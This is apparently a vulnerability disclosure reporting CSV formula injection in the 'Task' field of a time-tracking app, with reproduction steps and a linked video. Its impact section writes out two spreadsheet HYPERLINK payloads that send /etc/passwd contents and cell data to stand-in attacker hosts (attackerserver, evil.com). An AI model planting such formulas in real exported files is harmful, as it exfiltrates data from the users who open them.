Description

Formula Injection/CSV Injection in "Task" due to Improper Neutralization of Formula Elements in CSV File.

Proof of Concept

1. Click on plus track button
2. Under the task input field enter the payloads =1+1
3. Now enter the work hour as 2
4. Then click on save
5. Now go to details and click on CSV and the csv will be downloaded.

Video POC

https://drive.google.com/file/d/1AqXmJpt0N5C-6saL59MKxYGLQfM3nE1u/view?usp=sharing

Impact

Successful exploitation can lead to impacts such as client-sided command injection, code execution, or remote ex-filtration of contained confidential data. On constructing the payloads as

=HYPERLINK(CONCATENATE("http://attackerserver:port/a.txt?v="; ('file:///etc/passwd'#$passwd.A1));
=HYPERLINK("http://evil.com?x="&A3&","&B3&"[CR]","Error fetching info: Click me to resolve.")

An attacker can have access to /etc/passwd system file